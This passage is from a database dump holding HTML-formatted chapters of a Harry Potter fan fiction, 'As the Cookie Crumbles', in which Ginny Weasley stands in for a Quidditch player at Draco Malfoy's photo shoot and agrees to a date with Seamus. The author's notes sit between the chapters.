folding his hands on top of the table.\n<br><br>\nShe put her elbow on the table and her forehead on her palm. &quot;I was on my way to the Leaky Cauldron for lunch, and I was making my way through that<i> ridiculous</i> crowd that\'s gathered in front of your building and was pulled in by Nick. I tried telling him that I wasn\'t Swink, but he wouldn\'t listen to me.&quot;\n<br><br>\n&quot;I see,&quot; Draco said. He let out a low sigh. &quot;Alex hasn\'t shown up.&quot;\n<br><br>\n&quot;Oh.&quot;\n<br><br>\n&quot;And we have all the photographers assembled.&quot;\n<br><br>\n&quot;That\'s awful really, do you suppose I should go then?&quot; she asked, starting to get up from the table. &quot;To get out of your way.&quot; She gave a weak smile.\n<br><br>\nDraco snorted. &quot;No, stay.&quot; He gave her and appraising look. &quot;How many people thought you were Swink?&quot;\n<br><br>\n&quot;Come again? What are you getting at?&quot; Ginny asked, sitting back down quickly.\n<br><br>\nDraco shrugged. &quot;It probably wouldn\'t have worked anyways.&quot; He sat back in the chair. &quot;You have a much different nose than her.&quot;\n<br><br>\n&quot;My nose?&quot; Ginny\'s hand flew up to her nose self-consciously. &quot;What\'s wrong with my nose?&quot;\n<br><br>\nHe rolled his eyes. &quot;There\'s nothing <i>wrong</i> with your nose. All I said was that you don&#8217;t have the same nose as Swink.&quot; There was still a look in his eye that didn\'t quite make Ginny feel as though that was exactly the connotation implied.\n<br><br>\n&quot;Oh.&quot; She looked around quickly. &quot;Then I suppose I <i>should</i> be going.&quot;\n<br><br>\n&quot;Ginny,&quot; he said with a plaintive look, and his head inclined. &quot;Sit?&quot; She fell back into her chair. The look on his face had changed her mind.\n<br><br><br><br><br><br>\nTBC\n<br><br><br><br><br><br>\n\n[A/N: Erm, I&#8217;ve decided that for this fic that 1 galleon=2 American dollars. I don&#8217;t know how much they really are, I just sort of made it up. I&#8217;m still hyper, this time from mass amounts of Ricola. But that&#8217;s alright. I think this chapter turned out okay. What do you think? \nSomeone asked if Ginny was always going to be so shy. But, don&#8217;t worry, really it&#8217;s mostly only around Draco. Who wouldn&#8217;t be nervous around a <i>gorgeous</i> guy like that? I know I would. But she&#8217;s going to grow a back bone, don&#8217;t worry!\nThanks for the reviews! You&#8217;re all pals!]\n<br><br><br><br>\n<i>Next time: We meet Swink, who is more than you think. And Ginny gets flustered and annoyed. And generally it&#8217;s just another of my crazy chappies.\n<br><br>\nOh! You guys want to be emailed when this is updated? Leave me your email addy in a review and I&#8217;ll make sure to put together a list just for this story, and email you every time that I update! Deal? </i>\n<br><br><br><br><br><br><br><br><br><br><br><br>'),
	(100, 5, '\n<b>A/N:</b><br>\n Thanks for all the reviews, they brightened my day. \n\n<br><br><br><br>\n<b>As the Cookie Crumbles</b><br>\nChapter Five\n<br><br><br><br><br><br>\n\nDraco watched Ginny with a look that made her pull the clingy material of her robes away from her stomach every five seconds, hoping desperately that she didn\'t have any visible rolls. He had sat back with his legs stretched out in front of him, ankles crossed. He was completely too relaxed for Ginny to be in any way comfortable.\n<br><br>\nGinny reached up and touched her nose, remembering what Draco had said. Maybe she should remind him. &quot;My nose, it\'s not the same,&quot; she said.\n<br><br>\nDraco wrinkled his eyebrows and looked at her. &quot;Yes, I know.&quot; He gave her one more long look. &quot;But I don\'t think that anyone will notice, not for now anyways. They\'ll believe anything I tell them.&quot;\n<br><br>\nGinny snorted.\n<br><br>\n&quot;What was that for?&quot; Draco asked.\n<br><br>\n&quot;\'They\'ll believe anything I tell them,\'&quot; she parroted, making an arrogant face.\n<br><br>\n&quot;I do not sound like that,&quot; Draco said, glaring slightly.\n<br><br>\n&quot;Oh yes, yes you do,&quot; Ginny said, trying her best not to laugh. This seemed to be a serious situation that she had just ruined. But then again, it wasn\'t really her fault, Draco was the one that went and said that everyone believes anything he tells them. She had to bring up her hand to stifle a giggle that was threatening to peel out of her mouth. It was amazing how full of himself Draco was.\n<br><br>\nDraco gave her a measuring look. &quot;You\'ll fill in for Alex? Until she gets here?&quot; Ginny noticed that he did not say: &quot;I need you to fill in.&quot; Draco would never<i> need</i> anyone to do anything, why would he? He\'s Draco Malfoy. Girls would probably line up on the streets if they thought it might be possible that he would pick them to fill in on a photo shoot for one of the most popular female quidditch players ever. \n<br><br>\nAll girls except Ginny Weasley.\n<br><br>\n&quot;Why should I?&quot; Ginny asked. &quot;What\'s in it for me? I was supposed to be back at work,&quot; she glanced at her watch, &quot;Two hours ago.&quot; Her eyes widened. &quot;Oh my gods, something could have happened! What if Colin...&quot; she trailed off and her eyes darted towards the door. Her fingers itched to turn the knob and let her out to run back to the store.\n<br><br>\n&#8220;I&#8217;m sure that nothing happened, and that Colin is perfectly capable of handling the store. You wouldn&#8217;t have left him if he wasn&#8217;t,&#8221; Draco said reasonably.\n<br><br>\nGinny tilted her head to the side, thinking. If she did stay and pretend to be Swink then she could probably make a bit of extra money&#8230;and if she put that money together with what she has earned last week on the catering job, she would probably have enough money to open a larger store, therefore increasing her profits and business as a whole.\n<br><br>\nBut then, on the other hand, Colin, despite the fact that he was her best friend, wasn&#8217;t as reliable as he seemed. Sure, he could handle most of the small things, but last time she had left him alone in the shop, what did he do? &#8211;He burned the cookies. So that means that he could be burning down the shop as they spoke! Then where would she be? Then she wouldn&#8217;t have a building to sell at all and everything would go down the drain.\n<br><br>\nGinny looked back up at Draco from her hands, that were currently twisting around each other in her lap. &#8220;I&#8217;m not sure. I trust Colin, but not enough to leave him with my shop any longer.&#8221; She glanced at her watch to prove her point.\n<br><br>\nDraco leaned forward on the meeting table with his elbows. &#8220;But, did you think of the benefits?&#8221;\n<br><br>\nShe had, and they were promising. But not nearly as safe as hurrying back to the shop before Colin could inflict permanent damage. &#8220;The disadvantages outweigh the benefits,&#8221; she said.\n<br><br>\n&#8220;How so?&#8221; Draco persisted. \n<br><br>\n&#8220;What if he burns down the shop?&#8221; she voiced.\n<br><br>\nHe arched an eyebrow. &#8220;Do you realize how unlikely that is? You must have smoke detectors.&#8221;\n<br><br>\nIt was true. She had invested in some very nice smoke detectors that were charmed to set off sprinklers that would find the fire and put them out immediately. There was a very low chance that Colin could burn down the building.\n<br><br>\nShe sighed and slumped in her chair. &#8220;What do I get out of this?&#8221;\n<br><br>\n&#8220;I had a feeling that would be coming,&#8221; Draco said. He smirked and settled back in his chair. Ginny wanted to smack that smirk off his face. Just because she asked about conditions didn&#8217;t mean that she was already giving in. Just considering her options. &#8220;Maybe a few more galleons?&#8221; he suggested.\n<br><br>\n&#8220;A few?&#8221; Now it was Ginny&#8217;s turn to arch an eyebrow. &#8220;I&#8217;m going to be pretending to be a quidditch player.&#8221; Suddenly, that thought made her stop. &#8220;Wait, couldn&#8217;t I get in trouble for impersonating someone like that?&#8221;\n<br><br>\nDraco blinked. &#8220;Not if no one finds out.&#8221;\n<br><br>\n&#8220;How can you be sure that no one <i>will</i> find out?&#8221;\n<br><br>\n&#8220;It&#8217;s a chance I&#8217;m willing to take.&#8221; His eyes were dancing.\n<br><br>\n&#8220;Well, I&#8217;m not!&#8221; Ginny said, eyebrows slamming together. She felt like her hair might have actually turned into fire she was so mad. How dare he mock her like that? Like she didn&#8217;t even <i>matter</i>? &#8220;Something could go really wrong. And I would be the one getting in trouble.&#8221;\n<br><br>\n&#8220;I&#8217;m the one hiring you to do it. I would get a considerable amount of the blame as well.&#8221; Draco said. He noticed that her stubborn expression was still cemented to her face. He expelled a low sigh. &#8220;Really, the only reason I&#8217;m asking you to do this, is that we need a few pictures taken too keep the advertisers happy. As long as they know we&#8217;ve been taking some, and have seen a few, they&#8217;ll be happy. The pictures taken of you would most likely not be used. We would reschedule Alex.&#8221;\n<br><br>\n&#8220;Then why don&#8217;t you just wait until you can reschedule with her?&#8221; Ginny asked.\n<br><br>\n&#8220;Because,&#8221; Draco said in a low, irritated voice. &#8220;We need to get our advertising guys off our backs by showing them that we are working on the pictures.&#8221;\n<br><br>\nShe blinked. &#8220;Okay, so if I do let you take pictures of me, they won&#8217;t be used?&#8221;\n<br><br>\n&#8220;No. They&#8217;re only for evidence,&#8221; Draco said slowly. \n<br><br>\nGinny mulled this over in her head. The possibility of Colin burning down the shop had already been eliminated, and the possibility of her getting in trouble for impersonating a quidditch player because the pictures weren&#8217;t actually going to be used for anything. That meant there were no cons that she could think of. There were only pros, pros for her business, pros that could make her more money, and that&#8217;s what she needed: money. \n<br><br>\nShe looked up at Draco. &#8220;How long is it going to take?&#8221; She didn&#8217;t need to sound like she wanted the job.\n<br><br>\nA small smile graced his lips. &#8220;I knew you&#8217;d see things my way.&#8221;&#8217;\n<br><br>\nGinny snorted.\n<br><br>\n&#8220;Come on then,&#8221; said Draco. He stood up and opened the door.  &#8220;Let&#8217;s get you down to the photography wing.&#8221;\n<br><br>\n&#8220;You have a photography <i>wing</i>?&#8221; Ginny asked, trying to conceal her astonishment. This was a quidditch broom company, she didn&#8217;t know they had a photography <i>wing</i>. \n<br><br>\n&#8220;Yes,&#8221; Draco said, giving her strange look. &#8220;We have to advertise&#8230;and advertisement usually calls for pictures.&#8221;\n<br><br>\n&#8220;Oh, right.&#8221; Boy, did she feel stupid.\n<br><br>\n-\n<br><br>\n&#8220;Alright,&#8221; said the photographer. He gave Ginny a sort of agitated look. &#8220;Do you think you could look my way a bit more?---That&#8217;s good. Tilt your chin just a &#8211;good!&#8221; Ginny was standing with her back to a fake quidditch pitch, feeling very stupid. She was supposed to be looking like a &#8220;winner&#8221;. At least that&#8217;s what the photographer, Kirk, had told her. All she could think was that she was glad Draco left to attend to other matters &#8211; that at least spared her the worst of the embarrassment. And best of all, no one had suspected that she wasn&#8217;t Swink.\n<br><br>\nKirk went on taking pictures of her for a while longer. Having her straddle the broom, hover in mid air and other various positions. It made Ginny glad she didn&#8217;t have to do things like this regularly. It grated her nerves.\n<br><br>\n&#8220;Just two more pictures,&#8221; Kirk said from behind his camera.\n<br><br>\n&#8220;Pictures? Was my deal cancelled?&#8221; a voice came from the doorway of the studio.\n<br><br>\nGinny almost fell over. Alexandra Swink was standing in the doorway eyeing Ginny curiously. Kirk looked from Ginny to Swink and back to Ginny again. &#8220;Wait&#8230;hold up. I didn&#8217;t know Swink had a twin.&#8221;\n<br><br>\n&#8220;I don&#8217;t have a twin,&#8221; said Swink. She sauntered in, frowning thoughtfully at Ginny. &#8220;But if I did, it would certainly be her. Only, I think her nose is off.&#8221; Ginny&#8217;s hand flew up to her aforementioned nose. Swink looked at Kirk, &#8220;Why would you be taking pictures of her? Because she looks like me?&#8221;\n<br><br>\nKirk blinked. &#8220;I thought she was you.&#8221;\n<br><br>\n&#8220;She was,&#8221; Draco said. He had walked in. He wrapped his arm around Swink&#8217;s waist and gave her a peck on the cheek. &#8220;Hullo,&#8221; he greeted. Ginny rubbed her forehead and stared at Draco. Did he just kiss Swink?\n<br><br>\n&#8220;Darling,&#8221; Swink said slowly. &#8220;What is this girl doing here? Why is Kirk taking pictures of her? I thought he was taking pictures of me today.&#8221;\n<br><br>\nBy now, Kirk was looking between Ginny and Swink trying to figure out how he&#8217;d missed the differences in their appearance. Draco had a sort of amused smile on his face. &#8220;You weren&#8217;t here when you said you would be, and I have deadlines I have to meet. I can&#8217;t wait on you forever,&#8221; said Draco. &#8220;We weren&#8217;t going to use these pictures, but I needed to have them taken to let the advertising department know that I am getting things done for this new line.&#8221;\n<br><br>\n&#8220;Oh,&#8221; said Swink. &#8220;I see. And you thought she looked like me?&#8221; Swink looked at Ginny with an appraising look. &#8220;What did you do? Just pull her off the street?&#8221; If someone had really not liked Swink, they might have said that she was looking at Ginny arrogantly.  Ginny furrowed her brow, why was Swink talking about her like she wasn&#8217;t there? She had a voice.\n<br><br>\n&#8220;Actually,&#8221; Draco said dryly. &#8220;Nick pulled her in off of the street thinking that she was you.&#8221;\n<br><br>\n&#8220;How could he do that?&#8221; Swink asked, assuming a prima donna voice. &#8220;She&#8217;s much plainer than me.&#8221;\n<br><br>\nThis is where Kirk stepped in. &#8220;She has a very classic sort of a beauty.&#8221;\n<br><br>\nSwink smirked. &#8220;See? I&#8217;m classic.&#8221;\n<br><br>\n&#8220;Er, really I was talking about this other girl,&#8221; Kirk said pointing a finger at Ginny.\n<br><br>\nSwink blinked and looked at Draco. &#8220;Did you just hear what he said?&#8221;\n<br><br>\nDraco nodded. &#8220;I did.&#8221;\n<br><br>\n&#8220;He just said that she had a classic beauty.&#8221;\n<br><br>\n&#8220;Yes. But he didn&#8217;t say that you didn&#8217;t have any beauty either, if that&#8217;s what you&#8217;re thinking.&#8221; \n<br><br>\nSwink frowned. Ginny thought that if she kept frowning like that she was going to get frown lines at a very young age. And then where would her modeling career be? \n<br><br>\n&#8220;I am beautiful, right, Kirk?&#8221; Swink asked.\n<br><br>\n&#8220;Of course!&#8221; Kirk said enthusiastically. &#8220;Extremely beautiful.&#8221; Kirk smiled at her. &#8220;And you fly beautifully as well.&#8221;\n<br><br>\nSwink grinned. &#8220;I like this guy,&#8221; she said to Draco. &#8220;You should definitely keep him.&#8221;\n<br><br>\nThe corner of Draco&#8217;s mouth turned up. &#8220;I had never even thought of letting him go.&#8221;\n<br><br>\n&#8220;Right, of course, you knew he was good from the start didn&#8217;t you, darling?&#8221;\n<br><br>\n&#8220;Right.&#8221; Draco raised his eyebrows when Swink looked away. &#8220;Why don&#8217;t you go to makeup and let them get you some robes and things to wear. I&#8217;ll meet you back down here later.&#8221;\n<br><br>\n&#8220;Certainly.&#8221; Swink kissed him, she was so tall that she didn&#8217;t have to stand on her tiptoes or anything. Ginny was envious, being as short as she was. Swink sauntered out of the studio, swaying her hips. \n<br><br>\nGinny sighed. &#8220;I guess you won&#8217;t be needing me anymore. I&#8217;ll just be on my way out&#8230;&#8221; She stepped off of the platform she had been standing on. For some reason her stomach had little butterflies twittering around in it. \n<br><br>\n&#8220;Wait, step into my office in about five minutes and I&#8217;ll give you your pay,&#8221; Draco said. Then he turned to talk to Kirk.\n<br><br>\n&#8220;But&#8230;Swink is here&#8230;&#8221; Ginny looked at him.\n<br><br>\n&#8220;Yeah,&#8221; Draco raised an eyebrow. &#8220;But you held up your end of the bargain. Why should I drop mine?&#8221; When she didn&#8217;t say anything, he added, &#8220;Just because I&#8217;m a Malfoy doesn&#8217;t mean that I don&#8217;t honor a deal.&#8221; He turned away from her, ending the discussion. \n<br><br>\nGinny stepped out of the studio and saw Nick standing in the hallway. &#8220;Can you&#8212;&#8217;&#8217;\n<br><br>\n&#8220;Come with me,&#8221; he said. &#8220;You&#8217;re to wait in Mr. Malfoy&#8217;s office.&#8221; Ginny chose not to respond and followed him down a series of corridors until they came upon the office that she had been in not too long ago. &#8220;Just sit here and wait.&#8221;\n<br><br>\n&#8220;Like I would do anything else,&#8221; Ginny muttered under her breath as Nick shut the door. \n<br><br>\nShe studied the various awards and certificates on Draco&#8217;s ego wall. There were a lot of them, at least twenty were for the types of brooms he had produced. \n<br><br>\nThe door swung open and Draco walked it, a piece of parchment was pressed to his hand and he was scrawling a note on it with a quill, not even looking up to see if Ginny was in the room. He walked around his desk and settled into his large leather chair and continued writing on the parchment. Ginny started feeling a little ignored.\n<br><br>\nShe cleared her throat and Draco looked up.\n<br><br>\n&#8220;Oh, right, you&#8217;re here,&#8221; he said putting down the quill. He pulled open one of the drawers on his desk, and as he did so, Ginny craned her neck slightly to see what he had been scribbling away at on his parchment. It said something about charity. She shrugged and sat back. \n<br><br>\nDraco produced another drawstring bag, much like the one that he had given her on her catering job. He put in to the desk and pushed it towards her, watching her. Ginny twisted her hands then reached out for the bag. \n<br><br>\n&#8220;Did you ever have lunch, Weasley?&#8221; he asked.\n<br><br>\nGinny frowned. She had been so caught up in the Swink thing that she hadn&#8217;t even noticed she hadn&#8217;t eaten. She glanced up at the clock hanging on the wall. It read 5:13. She felt her stomach twist. She was hungry. Good thing she worked at Tasty Treats, she could grab something there. \n<br><br>\n&#8220;No,&#8221; she finally answered. &#8220;I haven&#8217;t.&#8221;\n<br><br>\nDraco rubbed his forehead. &#8220;Right, then go on. I&#8217;m sure you could eat a horse.&#8221;\n<br><br>\nSomething about his tone made Ginny give him a long look before she stood from the chair that she was sitting in. &#8220;Er, bye,&#8221; she said and scurried out of the office. \n<br><br>\n-\n<br><br>\n&#8220;You did what?!?!&#8221; Colin&#8217;s eyes bulged. &#8220;No way.&#8221;\n<br><br>\n&#8220;Yes, way.&#8221; Ginny said. They were both staring at the bag of money again. Both of them refused to open it.\n<br><br>\n&#8220;And people fell for it?&#8221; Colin asked, studying Ginny&#8217;s face. &#8220;I think they&#8217;re all loony. Can&#8217;t they see that she&#8217;s like a freaking Amazon compared to you?&#8221;\n<br><br>\nGinny shook her head. &#8220;I didn&#8217;t tell them I was Swink to begin with.&#8221;\n<br><br>\n&#8220;She&#8217;s like tall!&#8212;And you&#8230;you&#8217;re <i>short</i>.&#8221; \n<br><br>\nGinny sniffed. &#8220;I&#8217;m not that short. I&#8217;m average.&#8221;\n<br><br>\nColin snorted. &#8220;Yeah, maybe for a fourth year.&#8221;\n<br><br>\n&#8220;Shut up&#8212;&#8217;&#8217;\n<br><br>\n&#8220;Are you two at it again? I swear, every time I see you, you two are fighting,&#8221; Hermione said. She walked into the shop with a light sweater tossed over her shoulder. \n<br><br>\n&#8220;We aren&#8217;t fighting,&#8221; Colin said.\n<br><br>\n&#8220;Yeah,&#8221; said Ginny. &#8220;We&#8217;re having a <i>disagreement</i>.&#8221; \n<br><br>\n&#8220;Oh, right,&#8221; Hermione nodded. &#8220;Of course, you guys wouldn&#8217;t fight. No, never,&#8221; Hermione shook her head.\n<br><br>\nColin lowered his eyebrows. &#8220;Sarcasm killed the cat, Hermione.&#8221;\n<br><br>\nHermione&#8217;s eyebrows flew up, &#8220;Where did you come up with that?&#8221;\n<br><br>\nHe shrugged. &#8220;Dunno, it just sounded smart.&#8221;\n<br><br>\nIt was Ginny&#8217;s turn to snort. \n<br><br>\n&#8220;You shut up,&#8221; Colin said, thwacking her lightly on the back of the head.  Ginny punched him back on the shoulder, which caused him to pull her into a head-lock and give her a major noogie. \n<br><br>\n&#8220;Colin! Stop,&#8221; Ginny said through giggles.\n<br><br>\n&#8220;I swear you two act like you&#8217;re still at Hogwarts.&#8221; Hermione said with a wistful sigh. \n<br><br>\nGinny grinned. &#8220;Yeah, and you love it.&#8221;\n<br><br>\n&#8220;This isn&#8217;t what I came here to talk about.&#8221; Hermione said.\n<br><br>\n&#8220;Then what did you come for?&#8221; Colin asked.\n<br><br>\n&#8220;OH! I know!&#8221; Ginny bounced.\n<br><br>\nHermione frowned. &#8220;You do?&#8221;\n<br><br>\n&#8220;Yeah, it&#8217;s about Harry isn&#8217;t it? I know you two are going out, he already told me,&#8221; Ginny nodded sagely. \n<br><br>\n&#8220;Er, yeah, we are, but that isn&#8217;t what I came here for.&#8221;\n<br><br>\n&#8220;It isn&#8217;t?&#8221; Ginny&#8217;s smile fell. &#8220;It isn&#8217;t bad news is it?&#8221;\n<br><br>\n&#8220;No.&#8221;\n<br><br>\n&#8220;Tell us!&#8221; Colin half shouted. \n<br><br>\nHermione rolled her eyes. &#8220;I was getting there.&#8221; Colin sighed and motioned for her to continue. &#8220;Anyways, Ginny, do you remember Seamus Finnigan?&#8221;\n<br><br>\n&#8220;Yeah. Why?&#8221;\n<br><br>\n&#8220;He&#8217;s back in England, we went to Hogwarts with him.&#8221;\n<br><br>\n&#8220;Yes&#8230;I know.&#8221;\n<br><br>\nHermione smiled. &#8220;What I&#8217;m getting at is that I think you and Seamus should try a date. What do you think?&#8221;\n<br><br>\n&#8220;Try a date?&#8221; Ginny wrinkled her eyebrows. &#8220;I don&#8217;t want to try a date. I just got out of a relationship, why would I want to place myself in another one?&#8221;\n<br><br>\n&#8220;You can&#8217;t give up men altogether.&#8221; Hermione said.\n<br><br>\nGinny looked at Colin. &#8220;I haven&#8217;t! I&#8217;ve still got him around haven&#8217;t I?&#8221;\n<br><br>\n&#8220;For some reason, I don&#8217;t think that was a complement,&#8221; Colin mused.\n<br><br>\nGinny patted his shoulder, &#8220;Don&#8217;t worry about it.&#8221;\n<br><br>\n&#8220;<i>Anyways</i>, about Seamus.&#8221;\n<br><br>\n&#8220;No.&#8221;\n<br><br>\n&#8220;Ginny! You can&#8217;t answer me like that! Just one date. That&#8217;s all I ask. Just go on one date and I won&#8217;t ask you again,&#8221; Hermione pleaded.\n<br><br>\nGinny closed her eyes. It&#8217;s not like there were any other guys lining up on the street for her. No guys she knew showed any romantic interest in her. What could one date hurt, really? &#8220;One date,&#8221; she agreed.\n<br><br>\nHermione grinned. &#8220;You won&#8217;t regret it, I promise.&#8221;\n<br><br>\n&#8220;Right.&#8221;\n<br><br>\n&#8220;Do you have a date for me too?&#8221; Colin asked, big-eyed.\n<br><br>\n&#8220;Er&#8230;sorry, Colin. I promise I&#8217;ll look though,&#8221; Hermione said, a bit worried from the expression on his face.\n<br><br>\nColin smiled. &#8220;I was just<i> kidding</i>.&#8221;\n<br><br>\n&#8220;Oh, right,&#8221; Hermione glanced at her watch. &#8220;Well, I&#8217;ve got to go, I&#8217;ll see you guys later, oh, I&#8217;ll call you, Ginny, tonight.&#8221;\n<br><br>\n&#8220;Alright, bye Hermione.&#8221;\n<br><br>\n&#8220;Yeah, bye!&#8221; Hermione left the shop, letting the door swing shut behind her. Colin looked at Ginny and raised an eyebrow. &#8220;Seamus? Seamus Finnegan?&#8221; He blinked for a moment, &#8220;Doesn&#8217;t he play for Ireland? The quidditch team?&#8221;\n<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>\n\nReview.\n\n\n'),
	(100, 6, '\n\n<p class="MsoNormal"><b>\nVF:\n</b>\nHey all. \nI know it&#8217;s taken me a long time to write this chapter&#8212;but never fear! I have \ndone it. I was concentrating on HSNT more there for a little while. Sorry. I \nwrote out the whole outline of this chapter on my finger nails with a pencil. \nYes, I know, weird&#8212;but we were doing our standardized testing, TAKS Reading, and \nwe couldn&#8217;t have anything once we were done but a book&#8212;and stupid me didn&#8217;t \nbring one. So I was brainstorming ATCC on my nails when I was done. Nifty, eh? \n::shrugs:: Got it done, didn&#8217;t it?</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal"><b>\n\nDisclaimer: </b>\nI only \nremotely own Swink. Everything else I happily credit to the splendiferous J.K. \nRowling. Where would us HPFandom nerds be without her? (I know I&#8217;d be hella \nbored&#8212;heh, heh, stole your word, Ambero!!&lt;--And no&#8230;am not referring to myself in \nthird person&#8230;)</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n\n-------------------------------</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal"><b>\nAs the \nCookie Crumbles</b></p>\n<p class="MsoNormal">\nChapter 6</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;How \nabout this one?&#8221; Ginny asked, slipping yet another dress over her head. This was \na light, flowy pink dress&#8212;one she&#8217;d always loved. </p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nColin was \nlounging on her bed, his back against the headboard and his legs flung out over \nher bed. He was obviously very comfortable in this setting. He looked up from \nhis magazine to see the dress. He tilted his head to the side and squinted. \n&#8220;Nah. Not pink, and don&#8217;t you think that dress is a bit thin to be wearing in \nNovember&#8212;not to mention the end of November? It&#8217;s freezing out.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nGinny \nturned around and rolled her eyes, pulling the dress up over her head, just to \nroot through her closet to see if she could find another one. &#8220;Thanks, <i>mother</i>,&#8221; \nshe said.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nColin \nlooked back down at his magazine, a small smile on his face. &#8220;You say that now, \nbut you&#8217;ll be thanking me when you&#8217;re wearing a nice warm dress because of me.&#8221; \nHe wiggled a foot and bent down to scratch it.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;This \none?&#8221; Ginny asked, turning back around. It was a dark blue dress with a very low \ndipping back.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nColin \nnarrowed his eyes. &#8220;Is that the dress I think it is?&#8221; he asked carefully.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Yes,&#8221; \nGinny ground out. It was the dress she&#8217;d worn when she broke things off with \nHarry&#8212;she wouldn&#8217;t wear it normally, but she was getting low on options having \ntried on just about everything in her closet. &#8220;Gods, Colin, I swear you&#8217;re so \npicky.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nHe merely \nsaid, &#8220;Don&#8217;t swear, Ginny dearest.&#8221; And promptly went back to his magazine. \nGinny gave him a suspicious look, which he totally missed, before she took off \nthe blue dress and looked for another one. She grabbed one last black dress from \nthe back of her closet. After she pulled it down over her head, she glanced over \nat Colin and saw him gulp, eyes widening at something he was looking at in the \nmagazine.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;What are \nyou reading, Colin?&#8221; she asked curiously.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Huh?&#8221; he \nsqueaked, looking up quickly. He lifted the magazine up so that she could see \nthe cover.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nIt was <i>\nWitch Weekly</i>. </p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;What in \nMerlin&#8217;s name are you reading <i>Witch Weekly</i> for?&#8221; Ginny demanded, raising \na stern eyebrow.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nColin let \nout a cough. &#8220;Well&#8212;it&#8217;s got lovely cooking articles.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nGinny&#8217;s \neyes narrowed instantly. &#8220;Colin Creevey&#8212;do not try to pull that shit with me. I \nknow perfectly well that you aren&#8217;t interested in cooking articles.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nColin&#8217;s \neyebrows flew up. &#8220;Why would you say a thing like that? I <i>love</i> cooking. I \nspend all of my free time with you in your shop, do I not?&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Colin&#8230;&#8221; \nGinny warned.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;It&#8217;s \ntrue!&#8221; Colin exclaimed, his voice going an octave higher than normal.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nGinny \nrolled her eyes&#8212;she would find out later. &#8220;So what about this dress?&#8221; she did a \nlittle twirl. </p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Mmm, I \nthink you should go with the first black dress you tried on. That looked \nbest&#8212;now that I&#8217;ve seen all the others.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;You&#8217;re \nsuch a prat. Why couldn&#8217;t you have just told me that in the beginning?&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;I had to \nsee what else you had.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;You&#8217;ve \nseen my entire wardrobe modeled ten times over.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;True.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nGinny \nglared at him&#8212;another glare he didn&#8217;t see, as he was immersed in his magazine. \nShe pulled the dress off, reaching for the first black dress, the one that had \nruffles on the bottom&#8212;it was lying conveniently near Colin&#8217;s elbow. She darted \nforward and grabbed the magazine out of his hand&#8212;her eyes widening instantly.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Oi!&#8221; \nColin said, jumping at her, trying to grab in from her hands. Too late though, \nthe damage was done.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Colin!&#8221; \nGinny shrieked, jumping off of the bed. &#8220;I can&#8217;t believe you!&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;What?&#8221; \nColin yelled, the tips of his ears turning pink. &#8220;Your brothers&#8217; gave it to me.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Fred and \nGeorge?&#8221; she asked incredulously. </p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Yes,&#8221; he \nmurmured.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;I can&#8217;t \nbelieve you. You&#8217;d rather look at witch porn than me! I&#8217;m standing here in my \nknickers changing dresses and you&#8217;re looking at a <i>magazine</i>!!!! <i>\nPlaywitch</i> no less!!&#8221; Ginny said, collapsing in hysteric giggles.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nColin&#8217;s \ncheeks flushed bright red. &#8220;Gods, Gin. I can&#8217;t look at you like that. \nYou&#8217;re&#8230;Ginny.&#8221; He glared at the still giggling Ginny, and said smoothly, &#8220;You do \nnothing for me.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nShe \nstraightened up. &#8220;What? Nothing for you? Come on, Colin, you&#8217;re a male.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nColin \nnodded. &#8220;Yes, I&#8217;m a male&#8212;and you&#8217;re a Ginny.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nGinny \nhuffed, &#8220;No need to make it sound as if 